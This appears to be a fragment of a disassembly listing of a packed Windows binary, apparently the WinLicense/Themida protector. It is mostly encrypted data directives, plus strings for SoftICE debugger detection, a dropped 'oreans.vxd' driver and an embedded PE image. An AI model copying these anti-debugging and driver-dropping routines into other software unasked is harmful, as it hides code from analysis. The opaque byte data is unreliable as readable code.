		dd 1C2A3FF6h, 6A024FE2h, 0ED92632h, 58F03DECh, 0F30C5CF2h
		dd 22041A3Eh, 0AF8CFF43h, 43F0Bh, 0AB6E7600h, 0F435C515h
		dd 42D70E5Eh, 8DA45CACh, 0D554A7F7h, 9ABD263Fh,	0E232C861h
		dd 2F7F151Ch, 79C95FD2h, 4015AB86h, 74563A27h, 0F8DE5A7Bh
		dd 91FB2C73h, 43B7C5DAh, 81CE639Ch, 503683E9h, 1AF61706h
		dd 9AD23860h, 78E622AFh, 9D542251h, 8A75728Fh, 788A41A7h
		dd 54DAD22Ah, 851228BDh, 3B2F19E2h, 5BAB9DD5h, 694D3AA6h
		dd 0F15A7CABh, 8E70BD23h, 8C9CC071h, 14E4E83Bh,	3BE9337h
		dd 0EDF70000h, 0B446962Ch, 568FDF75h, 23DD2DC3h, 0D328780Eh
		dd 3EA7C056h, 0B349E01Bh, 969B63h, 4AE051B0h, 962C05FAh
		dd 0D7BBA8C1h, 5F5A7B75h, 0B1BFF479h, 9EAAE24Fh, 0A183D061h
		dd 0E1CD35Eh, 5E073FF2h, 63B0697Ch, 66B37E81h, 4754A292h
		dd 0F86E7CDEh, 5491D382h, 0FE9B42CEh, 4A7A457Ch, 23FFFFFDh
		dd 0F643E615h, 0C615265Eh, 2FABF839h, 0F0DD9404h, 5176CA6Dh
		dd 0E2F0A775h, 0F63BC619h, 73AB11A9h, 16572C81h, 0E69D0F38h
		dd 0F138C3D1h, 0E9D40CA4h, 5176E2A6h, 3E220F2Eh, 0C85A7907h
		dd 7C4AFC1Dh, 0EB00A916h, 811021DDh, 5A79079Dh,	956D327h
		dd 0B3A0BF71h, 5A7907CFh, 0EB238957h, 6DD53A00h, 87F12202h
		dd 839CE3D0h, 4E1CFF75h, 0EA528501h, 9A904633h,	4210055Ch
		dd 0AF827D8Bh, 1A17EAF8h, 0BC927663h, 4C1A0E5Eh, 0BDCB2214h
		dd 0A9B5ED44h, 7BB7DB56h, 0ED31062Ah, 2BE6C10h,	0EDF70000h
		dd 0B446962Ch, 568FDF75h, 23DD2DC3h, 0D328780Eh, 3EA7C056h
		dd 0B349E01Bh, 969B63h,	4AE051B0h, 962C05FAh, 0D7BBA8C1h
		dd 5F5A7B76h, 0FB2CF479h, 62EDDA91h, 6A51784Fh,	2AD7E59Ch
		dd 81A7107h, 3B4D7AB9h,	26ADCBC6h, 0D24FF061h, 0D928346Ch
		dd 6B93A158h, 44AA7F7Ch, 7E275FF7h, 0AACE639Ch,	0E4E95B92h
		dd 5159FDDAh, 64000002h, 0B3039980h, 0FC4CE247h, 4A9A30E9h
		dd 95E57BB6h, 142DC366h, 0B67388ABh, 32ED020h, 4DE41D6Dh
		dd 999867B7h, 28152E03h, 5A7B7644h, 2C61E6CCh, 75B447FBh
		dd 0E06B580Fh, 0E851784Eh, 0B1FE2BD0h, 0E7FCB319h, 3BC30CD9h
		dd 0AB11A9F6h, 828EC65Eh, 0C71EB47Dh, 4761B7B5h, 39711153h
		dd 4CAF7F93h, 48F890DDh, 922A77B2h, 0AE88752Ch,	365A7BB9h
		dd 20321B68h, 3D2F185Fh, 0DBE71FDFh, 4DBC0920h,	0E379B04Bh
		dd 0A85FD1F9h, 7AFBDFBBh, 0E299675Ah, 41BD2AD4h, 0A50BA3F0h
		dd 0DC29F0F5h, 81630C44h, 7D66B37Eh, 69A1906Fh,	31CED0h
		dd 0B06A3749h, 0D940211Ah, 23BB0821h, 186709BDh, 942CB17h
		dd 708FDFD1h, 972374C1h, 0BA072AD5h, 0B6BE0DD8h, 6A194614h
		dd 0A288D53Bh, 8EA739D7h, 0B59CC97h, 959466FDh,	234AB048h
		dd 6798AF3Dh, 1BE434CAh, 14E7C916h, 4F4C815h, 91A05FF6h
		dd 0D950ABFBh, 0FAED1422h, 46DE2B06h, 16FFA8E0h, 34301401h
		dd 0EAB85A7Bh, 728337B2h, 0D2E07E8Ch, 0BDC90128h, 555EB3Eh
		dd 0FDE633F6h, 0CC5238EBh, 8BC36981h, 9B65827Fh, 4BB14996h
		dd 0FD0B59FEh, 80A9515Fh, 795D4A33h, 15A7B71h, 8995CD33h
		dd 0EB00B772h, 7B721AFEh, 9CD4A25Ah, 8CA55AAAh,	525C7E3Fh
		dd 9866F2CCh, 916A4C99h, 58A64B98h, 3C8AFD82h, 0C96897AEh
		dd 0CB1CE333h, 0C8B1FE33h, 0EED8F7DBh, 4BB17F12h, 2C192EE5h
		dd 12EED848h, 21CA02D0h, 455B2638h, 0BBA4CE2Bh,	0EF26EACEh
		dd 3EA47212h, 0DE01FA06h, 5FAC1207h, 0D46379ADh, 2070062Bh
		dd 890552DFh, 4A37EE5Eh, 0FD4361Bh, 0B0948196h,	3818D657h
		dd 0E2C6B36Ah, 6A18D657h, 8856649Ch, 99869BF2h,	18D657B5h
		dd 91376F3Dh, 2D3FF666h, 0E4402C4Ch, 9BAEE65Eh,	0BCF833AEh
		dd 0B66D3B15h, 0C56C93A1h, 6D51E078h, 0F51EC01Ah, 0A90F22DDh
		dd 19E6C871h, 47B32CCEh, 972F7CE2h, 0B44B9B31h,	3247307Dh
		dd 0C01A6145h, 0E31BE91Eh, 55E266F8h, 9E6CA0D6h, 63F938C7h
		dd 8E45EC13h, 7CB46580h, 220FF1D3h, 14E230D5h, 0D96FC23Dh
		dd 8F717689h, 250CF2A2h, 8DDA40D8h, 3E9h, 13584C00h, 0AEFB1EC6h
		dd 0B1FE33CCh
		dd 0B2FF32CFh, 0B6032ED0h, 0B50227D4h, 0B40128D3h, 0B6032ED2h
		dd 0BB0811D4h, 0BB0821D9h, 4EC816Fh, 89000000h,	0E0892404h
		dd 405h, 4E88300h, 5C240487h, 81E18951h, 4C1h, 4E98100h
		dd 87000000h, 895C240Ch, 0DB682434h, 89000042h,	6855243Ch
		dd 795A15CFh, 0E5C5815Dh, 512BF36Ah, 0EC6BFDB9h, 59CD0169h
		dd 728DF581h, 0EE890AD0h, 4EC815Dh, 89000000h, 4832424h
		dd 565F0424h, 52A3BD55h, 6C310825h, 8F5D0424h, 77810847h
		dd 2552A308h, 2434FF08h, 4C4835Fh, 5024348Bh, 405E089h
		dd 5000000h, 4,	5C240487h, 0FDD9E2E9h, 755817FFh
		db 67h,	0B9h
; ---------------------------------------------------------------------------

loc_569256:				; CODE XREF: sub_542C3C:loc_568996j
		mov	eax, 5E9A614h
		add	eax, ebp
		jmp	eax
sub_542C3C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 46h
		dd 0AA1D7856h, 0B70FF6E1h, 618B740h, 65691FF8h,	6F3F92EEh
		dd 64619327h, 0B140C642h, 72323E54h, 0BD5DCEDEh, 0F54CF2F2h
		dd 0FB0317A5h, 0E8773403h, 0Eh,	0C6F964F7h, 88D4749Dh
		dd 5D5B743Ah, 8B0F93DFh, 3, 5AC28B66h, 0EE9h, 319BC100h
		dd 0B224728Eh, 4D2ABD19h, 81195A32h, 6C3AC2h, 2BB4B300h
		dd 0BB6653C9h, 0FF5B9171h, 800F1134h, 0Ah, 4840Fh, 0BB660000h
		dd 815F39ABh, 0AAB5AAC7h, 7CE38142h, 812C5113h,	0DA3CCBC7h
		dd 0DE976h, 0A27C0000h,	0D139C3C8h, 51147EC2h, 819921E5h
		dd 0ED8C36EFh, 0B2CC8004h, 800A3C89h, 820F85D4h, 15h, 10E9h
		dd 5ACAE600h, 82DF06C1h, 8021DA25h, 7A2C2FECh, 4E98367h
		dd 81C6BF0Fh, 0FF9474F9h, 8C850FFFh, 0FFFFFFFh,	73E9F7BFh
		dd 60000000h, 2031BD83h, 0F0005E7h, 584h, 5EE900h, 6A0000h
		dd 0F303E80h, 885h, 46006A00h, 35E9h, 333E8000h, 8850Fh
		dd 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 858D006Ah
		dd 5E706E5h, 24048950h,	24348950h, 95FF006Ah, 5E708D9h
		dd 85C6C361h, 5E732A5h,	6486684Dh, 3481CACAh, 0FF122E24h
		dd 85B5FF6Eh, 8D05E717h, 0E7392A85h, 89D0FF05h,	0E708D985h
		dd 5C1EEB05h, 535C2E5Ch, 454349h, 5C2E5C5Ch, 56574953h
		dd 5C004449h, 4E5C2E5Ch, 45434954h, 6AC08B00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 4BDAC357h, 83F9B70Fh, 0E70C81BDh, 9750005h, 2819BD83h
		dd 740005E7h, 8B535019h, 40FB8C0h, 85890000h, 5E7047Dh
		dd 0B4939D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50177400h
		dd 40FB853h, 85890000h,	5E7047Dh, 0B1829D8Dh, 0D3FF05E9h
		dd 8166585Bh, 296DCDC6h, 0E72C11BDh, 8BC08B05h,	0E71CAD8Dh
		dd 0A585C605h, 4305E732h, 13E9h, 2AA9D100h, 3BFA1F1h, 0DAD3D158h
		dd 3C61978Fh, 4ABAE062h, 5998D8Bh, 596805E7h, 50B9FBBBh
		dd 66310F52h, 585AF78Bh, 0A3240481h, 0E90292B3h, 8, 5D1B24Ch
		dd 1183871Bh, 899B5FFh,	0BF0F05E7h, 2A858DFBh, 8905E739h
		dd 0E70C69B5h, 6AD0FF05h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 63EFC352h, 9E9042Dh
		dd 81000000h, 0BC42A540h, 0CA7F4104h, 0E2B96690h, 1FBA50A7h
		dd 905EC32Bh, 5860Fh, 87BA0000h, 6A392FF5h, 0BD68F500h
		dd 81D81596h, 69C32404h, 958B27EAh, 5E70579h, 0F960036Ah
		dd 0B880Fh, 6E90000h, 39000000h, 732B6777h, 6A6173h, 2DBD8Bh
		dd 36A05E7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	6EC35545h, 8E3B7B68h, 8F0F6Fh, 81000000h, 0C4852404h
		dd 6A5071h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0E8E306C3h, 50262F46h, 42BFD7BAh,	0AE85A4Ah
		dd 1D000000h, 0DF8A140h, 8ADB7C6Fh, 0E9858906h,	5E05E712h
		dd 1905C781h, 9D8D19D6h, 5E9A842h, 50D7B70Fh, 12850Fh
		dd 0AE80000h, 0C9000000h, 0C1DD127Ah, 6537C27h,	5AF88B09h
		dd 0E9241C89h, 12h, 0ED62431Ah,	0C39C23B7h, 0AD23D6ADh
		dd 9A542036h, 0D0FFE243h, 0D99531FCh, 4005E725h, 2F2850Fh
		dd 850F0000h, 6, 67DB58Bh, 0BE5805E7h, 3EDFC851h, 13E86050h
		dd 62000000h, 8125D36Ah, 9955D637h, 44F7C988h, 0CFAC235h
		dd 5250F560h, 585A310Fh, 489615Ah, 5DBD2B24h, 6A05E700h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 84A3D108h, 0DF556868h, 8B0F8D4Ah, 4, 0D57BBA66h
		dd 2B240481h, 6672B521h, 813DD0B9h, 0F5BDABE7h,	6A036A49h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 5D9EC350h, 6A006A24h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 3FACC353h
		dd 83FBE56h, 8F91F7ECh,	855EC681h, 0B5891BA8h, 5E72785h
		dd 0BD0B036Ah, 5E71BC5h, 4E8h, 0
		dd 0E95150C0h, 13h, 6E60BFC8h, 819096E0h, 1AD20BF4h, 6577F722h
		dd 5988BB06h, 424448Bh,	0D78A008Bh, 4244489h, 7C0D25BFh
		dd 0B501580Eh, 5E71719h, 0A84B9D8Dh, 952905E9h,	5E70A51h
		dd 0DAE6BF66h, 66935093h, 0F8AACE81h, 6AD0FFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 3B3DBAC3h, 5F02428h,	9D950174h, 4005E72Bh, 192850Fh
		dd 880F0000h, 0
		dd 0EA8A5058h, 6A240489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 9068C350h, 5501F5A3h
		dd 60006AEAh, 25398D89h, 0E86105E7h, 4,	80h, 52506052h
		dd 585A310Fh, 850Fh, 5E610000h,	8870F50h, 0F000000h, 284h
		dd 8B595300h, 0B2042444h, 0F008B98h, 28Dh, 89CB8B00h, 0F042444h
		dd 8Fh,	10E95800h, 0BD000000h, 20FBC7F4h, 0A719AC63h, 8587FDF5h
		dd 3964F62h, 0E7253D95h, 0E8036A05h, 0Eh, 88056CE8h, 1FEAF165h
		dd 4BFB9090h, 9D293BB0h, 5E705DDh, 0F006A5Eh, 683h, 5850900h
		dd 6A05E72Dh, 21BD2B03h, 6805E70Ch, 46C8B2A3h, 0DE8h, 0F21A0200h
		dd 90F53087h, 59380096h, 81593A3Ch, 4D5D2404h, 958B7937h
		dd 5E71915h, 0A8569D8Dh, 6A05E9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 24B3A7C3h, 89D0225Dh
		dd 0E7297595h, 0F28B9305h, 0BA665250h, 935F5E34h, 1C3D9D89h
		dd 0D0FF05E7h, 0BDDB58Bh, 0F4005E7h, 5785h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8B5BB830h, 0E71A718Dh, 0CE8B5805h, 154E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 264CA7EAh, 0BE99589h, 9D8905E7h, 5E70415h, 958BD88Bh
		dd 5E71159h, 50006A4Bh,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0A2BFFA27h, 482383B9h, 1A519D89h
		dd 0FFB905E7h, 8B16EDBCh, 0E7086195h, 0B5335805h, 5E72EEDh
		dd 32A585C6h, 8B4305E7h, 0E72815B5h, 2BB36805h,	481B7C7h
		dd 0AF1EF424h, 12E808h,	5B300000h, 135865E9h, 195FC125h
		dd 0CE2C63A0h, 46F3DADFh, 0F8E4BF66h, 85BD895Fh, 0FF05E729h
		dd 0E70899B5h, 0F7816605h, 858D79ECh, 5E7392Ah,	4DEDBF66h
		dd 9E9D0FFh, 0B7000000h, 5CFFEC70h, 45EF5574h, 9E893h
		dd 5B840000h, 9890ACDh,	603A4A3Ch, 0BDB15B50h, 53505961h
		dd 935F00B5h, 0D0FF86B2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0B1C35545h, 8C0FA3h, 8D000000h, 0E772CA9Dh
		dd 79BD2905h, 0B805E721h, 1, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 30C35646h, 0C124574Bh, 8B514CA8h
		dd 0E712C595h, 89E3FF05h, 0E729099Dh, 60C18B05h, 958BD4B5h
		dd 5E71941h, 0E8C08B61h, 11h, 23D6ADC3h, 542036ADh, 3CE2439Ah
		dd 811804F5h, 48B966ACh, 0BD835AA1h, 5E70C81h, 83097500h
		dd 0E72819BDh, 19740005h, 0C08B5350h, 40FB8h, 75858900h
		dd 8D05E717h, 0E9B4FA9Dh, 5BD3FF05h, 19BD8358h,	5E728h
		dd 53501774h, 40FB8h, 75858900h, 8D05E717h, 0E9B19B9Dh
		dd 5BD3FF05h, 6E958h, 36370000h, 509F138Ah, 29C19589h
		dd 0C08B05E7h, 0AAE9h, 666F5300h, 72617774h, 69575C65h
		dd 63694C6Eh, 65736E65h, 65684300h, 4E496B63h, 72705800h
		dd 7845746Fh, 43007469h, 6B636568h, 54554Fh, 4C6E6957h
		dd 6E656369h, 65566573h, 6F697372h, 6957006Eh, 63694C6Eh
		dd 65736E65h, 76697244h, 65567265h, 6F697372h, 6957006Eh
		dd 63694C6Eh, 65736E65h, 74736E49h, 65636E61h, 69784500h
		dd 6B4F74h, 636F7250h, 50004E49h, 4F636F72h, 45005455h
		dd 49746978h, 7845004Eh, 554F7469h, 70540054h, 4E49h, 2	dup(0)
		dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0AFB68589h
		dd 858D05E9h, 5E9AFB2h,	1C858D50h, 5005E9AFh, 168h, 0C295FF80h
		dd 6A05E9AFh, 0B6B5FF19h, 6A05E9AFh, 8D006A01h,	0E9AF4B85h
		dd 0B5FF5005h, 5E9AFB2h, 22E995FFh, 0B5FF05E7h,	5E9AFB2h
		dd 0AFBE95FFh, 0B5FF05E9h, 5E9AFB2h, 1D4595FFh,	89C305E7h
		dd 0E9AFB685h, 0B2858D05h, 5005E9AFh, 0AF1C858Dh, 685005E9h
		dd 80000001h, 0AFC295FFh, 46A05E9h, 0AFB6858Dh,	6A5005E9h
		dd 8D006A04h, 0E9AF7585h, 0B5FF5005h, 5E9AFB2h,	22E995FFh
		dd 0B5FF05E7h, 5E9AFB2h, 0AFBE95FFh, 0B5FF05E9h, 5E9AFB2h
		dd 1D4595FFh, 89C305E7h, 0E9AFB685h, 0B2858D05h, 5005E9AFh
		dd 0AF1C858Dh, 685005E9h, 80000001h, 0AFC295FFh, 46A05E9h
		dd 0AFB6858Dh, 6A5005E9h, 8D006A04h, 0E9AF5D85h, 0B5FF5005h
		dd 5E9AFB2h, 22E995FFh,	0B5FF05E7h, 5E9AFB2h, 0AFBE95FFh
		dd 0B5FF05E9h, 5E9AFB2h, 1D4595FFh, 89C305E7h, 0E9AFB685h
		dd 0B2858D05h, 5005E9AFh, 0AF1C858Dh, 685005E9h, 80000001h
		dd 0AFC295FFh, 46A05E9h, 0AFB6858Dh, 6A5005E9h,	8D006A04h
		dd 0E9AF8885h, 0B5FF5005h, 5E9AFB2h, 22E995FFh,	0B5FF05E7h
		dd 5E9AFB2h, 0AFBE95FFh, 0B5FF05E9h, 5E9AFB2h, 1D4595FFh
		dd 89C305E7h, 0E9AFB685h, 0B2858D05h, 5005E9AFh, 0AF1C858Dh
		dd 685005E9h, 80000001h, 0AFC295FFh, 46A05E9h, 0AFB6858Dh
		dd 6A5005E9h, 8D006A04h, 0E9AF3885h, 0B5FF5005h, 5E9AFB2h
		dd 22E995FFh, 0B5FF05E7h, 5E9AFB2h, 0AFBE95FFh,	0B5FF05E9h
		dd 5E9AFB2h, 1D4595FFh,	83C305E7h, 0E729D5BDh, 840F0005h
		dd 0Bh,	29D59D8Bh, 0C38305E7h, 0C303894Ch, 29D5BD83h, 0F0005E7h
		dd 0B84h, 0D59D8B00h, 8305E729h, 38950C3h, 0D5BD83C3h
		dd 5E729h, 0B840Fh, 9D8B0000h, 5E729D5h, 8954C383h, 0BD83C303h
		dd 5E729D5h, 0B840F00h,	8B000000h, 0E729D59Dh, 58C38305h
		dd 83C30389h, 0E729D5BDh, 840F0005h, 0Bh, 29D59D8Bh, 0C38305E7h
		dd 0C303895Ch, 858960C3h, 5E9AFB6h, 0AFB2858Dh,	8D5005E9h
		dd 0E9AF1C85h, 1685005h, 0FF800000h, 0E9AFC295h, 8D046A05h
		dd 0E9AFB685h, 46A5005h, 858D006Ah, 5E9AFADh, 0B2B5FF50h
		dd 0FF05E9AFh, 0E722E995h, 81BD8305h, 5E70Ch, 0C840Fh
		dd 0B5FF0000h, 5E9AFB2h, 0AFBE95FFh, 0B5FF05E9h, 5E9AFB2h
		dd 1D4595FFh, 0C36105E7h, 0B6858960h, 8D05E9AFh, 0E9AFB285h
		dd 858D5005h, 5E9AF1Ch,	16850h,	95FF8000h, 5E9AFC2h, 858D046Ah
		dd 5E9AFB6h, 6A046A50h,	8F858D00h, 5005E9AFh, 0AFB2B5FFh
		dd 95FF05E9h, 5E722E9h,	0C81BD83h, 0F0005E7h, 0C84h, 0B2B5FF00h
		dd 0FF05E9AFh, 0E9AFBE95h, 0B2B5FF05h, 0FF05E9AFh, 0E71D4595h
		dd 60C36105h, 0AFB68589h, 858D05E9h, 5E9AFB2h, 1C858D50h
		dd 5005E9AFh, 168h, 0C295FF80h,	6A05E9AFh, 0B6858D04h
		dd 5005E9AFh, 6A046Ah, 0AF96858Dh, 0FF5005E9h, 0E9AFB2B5h
		dd 0E995FF05h, 8305E722h, 0E70C81BDh, 840F0005h, 0Ch, 0AFB2B5FFh
		dd 95FF05E9h, 5E9AFBEh,	0AFB2B5FFh, 95FF05E9h, 5E71D45h
		dd 8960C361h, 0E9AFB685h, 0B2858D05h, 5005E9AFh, 0AF1C858Dh
		dd 685005E9h, 80000001h, 0AFC295FFh, 46A05E9h, 0AFB6858Dh
		dd 6A5005E9h, 8D006A04h, 0E9AF9E85h, 0B5FF5005h, 5E9AFB2h
		dd 22E995FFh, 0BD8305E7h, 5E70C81h, 0C840F00h, 0FF000000h
		dd 0E9AFB2B5h, 0BE95FF05h, 0FF05E9AFh, 0E9AFB2B5h, 4595FF05h
		dd 6105E71Dh, 858960C3h, 5E9AFB6h, 0AFB2858Dh, 8D5005E9h
		dd 0E9AF1C85h, 1685005h, 0FF800000h, 0E9AFC295h, 8D046A05h
		dd 0E9AFB685h, 46A5005h, 858D006Ah, 5E9AFA5h, 0B2B5FF50h
		dd 0FF05E9AFh, 0E722E995h, 81BD8305h, 5E70Ch, 0C840Fh
		dd 0B5FF0000h, 5E9AFB2h, 0AFBE95FFh, 0B5FF05E9h, 5E9AFB2h
		dd 1D4595FFh, 0C36105E7h, 0B685C760h, 105E9AFh,	8D000000h
		dd 0E9AFB285h, 858D5005h, 5E9AF1Ch, 26850h, 95FF8000h
		dd 5E9AFC2h, 840FC00Bh,	0Fh, 0AFB685C7h, 5E9h, 4DE90000h
		dd 6A000000h, 0B6858D04h, 5005E9AFh, 6A046Ah, 0AF30858Dh
		dd 0FF5005E9h, 0E9AFB2B5h, 0E995FF05h, 0B05E722h, 0F840FC0h
		dd 0C7000000h, 0E9AFB685h, 5, 0AE900h, 85C70000h, 5E9AFB6h
		dd 1, 0AFB2B5FFh, 95FF05E9h, 5E71D45h, 0B6858B61h, 0C305E9AFh
		dd 0B6858960h, 8D05E9AFh, 0E9AFB285h, 858D5005h, 5E9AF1Ch
		dd 16850h, 95FF8000h, 5E9AFC2h,	858D046Ah, 5E9AFB6h, 6A046A50h
		dd 30858D00h, 5005E9AFh, 0AFB2B5FFh, 95FF05E9h,	5E722E9h
		dd 0C81BD83h, 0F0005E7h, 0C84h,	0B2B5FF00h, 0FF05E9AFh
		dd 0E9AFBE95h, 0B2B5FF05h, 0FF05E9AFh, 0E71D4595h, 60C36105h
		dd 0AFB68589h, 858D05E9h, 5E9AFB2h, 1C858D50h, 5005E9AFh
		dd 168h, 0C295FF80h, 6A05E9AFh,	0B6858D04h, 5005E9AFh
		dd 6A046Ah, 0AF42858Dh,	0FF5005E9h, 0E9AFB2B5h,	0E995FF05h
		dd 8305E722h, 0E70C81BDh, 840F0005h, 0Ch, 0AFB2B5FFh, 95FF05E9h
		dd 5E9AFBEh, 0AFB2B5FFh, 95FF05E9h, 5E71D45h, 85C6C361h
		dd 5E732A5h, 7B076852h,	0B5FFADE4h, 5E72A6Dh, 16C195FFh
		dd 858905E7h, 5E9AFC2h,	32A585C6h, 685205E7h, 902E00E5h
		dd 2A6DB5FFh, 95FF05E7h, 5E716C1h, 0AFBE8589h, 85C605E9h
		dd 5E732A5h, 12356852h,	0B5FFB9BFh, 5E72A6Dh, 16C195FFh
		dd 858905E7h, 5E722E9h,	32A585C6h, 685205E7h, 98781034h
		dd 2A6DB5FFh, 95FF05E7h, 5E716C1h, 1D458589h, 85C605E7h
		dd 5E732A5h, 0DBD46852h, 0B5FFC005h, 5E72A6Dh, 16C195FFh
		dd 858905E7h, 5E71B35h,	0DE8h, 20CF1E00h, 0ABB7E5F7h, 7760BE31h
		dd 8C0F5354h, 0
aFbtSbTf	db '[fâ|˜Ã’f',0
		align 10h
aFlH		db 'f‹×h',0
		align 4
		dd 58D0Fh, 0E3B90000h, 5E008A14h, 0E3DAEA81h, 34FF2654h
		dd 8A58F91Eh, 51C081E8h, 511B631Eh, 59C8BF0Fh, 971BF081h
		dd 0C8BF4E37h, 8154FC38h, 6BD973C0h, 0FE869h, 636F0000h
		dd 44876ADh, 59225C4Dh,	1A24DA66h, 0FFBF0FC4h, 33048959h
		dd 0FB8B6652h, 18B0F5Fh, 0F8000000h, 0BA02EE83h, 34284D85h
		dd 0F88B4E4Eh, 9A08FE81h, 850FFFFFh, 0FFFFFF9Eh, 0E8F8BF0Fh
		dd 5, 24D3FBB8h, 820F7Dh, 5F000000h, 815BEE80h,	592DC7h
		dd 0ADD68000h, 68h, 59EDB600h, 0C466BA66h, 583934FFh, 73EB8166h
		dd 80F08196h, 0E81CDF7Bh, 12h, 93C79C47h, 3EEC8158h, 191E1A26h
		dd 3041EF11h, 0F680796Fh, 0C0815E7Ah, 470DF24Bh, 0B9F4BE66h
		dd 0BD87F081h, 0BF0F2B39h, 0F0489D8h, 0C830Fh, 8B0F0000h
		dd 6, 880Fh, 83F80000h,	8B0F03E9h, 0
		dd 815B5349h, 0FFA798F9h, 13850FFFh, 80000000h,	32E9B4CEh
		dd 4C000000h, 0D2B84127h, 301120D9h, 0CE8979Fh,	0EF000000h
		dd 0F5B5E47h, 0E4DF58D1h, 66163113h, 5E5B62BEh,	0FFFF67E9h
		dd 0C8178FFh, 4367DFD1h, 0C311A559h, 20EE910h, 43330000h
		dd 6F6E6E61h, 72772074h, 20657469h, 6165726Fh, 762E736Eh
		dd 0D0A6478h, 656B614Dh, 72757320h, 68742065h, 74207461h
		dd 20736968h, 656C6966h, 20736920h, 20746F6Eh, 6E696562h
		dd 73752067h, 62206465h, 6E612079h, 6568746Fh, 72702072h
		dd 6172676Fh, 2E6Dh, 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 0EFE9h, 0A585C600h, 4705E732h, 0E45B8668h, 99B5FFE3h
		dd 8D05E708h, 0E7392A85h, 68D0FF05h, 104h, 25F19D8Dh, 0FF5305E7h
		dd 0B58D50D0h, 5E9B965h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh
		dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 5E732A5h, 6EFC6843h
		dd 0B5FFBC8Eh, 5E70899h, 392A858Dh, 0D0FF05E7h,	25F1B58Dh
		dd 6A05E7h, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h
		dd 0A585C6D8h, 5705E732h, 9BEE5668h, 99B5FFA6h,	8D05E708h
		dd 0E7392A85h, 8DD0FF05h, 0E71339BDh, 8B8D8D05h, 6A05E9BAh
		dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h,	8D000000h
		dd 0E9B76DB5h, 0A6858D05h, 0FF05E9A7h, 0CA8D8DD0h, 0B805E772h
		dd 0
		dd 85C6E1FFh, 5E732A5h,	4AA76843h, 0B5FFC076h, 5E70899h
		dd 392A858Dh, 0D0FF05E7h, 0C3D0FF53h, 37D0B9h, 0E800h
		dd 83580000h, 8890EC0h,	2E9h, 0E9C38B00h, 37D0h, 905A4Dh
		dd 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 360h dup(0)
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 4
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 4
		dd 9C3h	dup(0)
		dd 831BE883h, 77309F8h,	8524FFh, 0F8000000h, 0C3h, 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 99E9h,	75622F00h
		dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh
		dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh
		dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h
		dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h
		dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h
		dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh
		dd 73757461h, 0
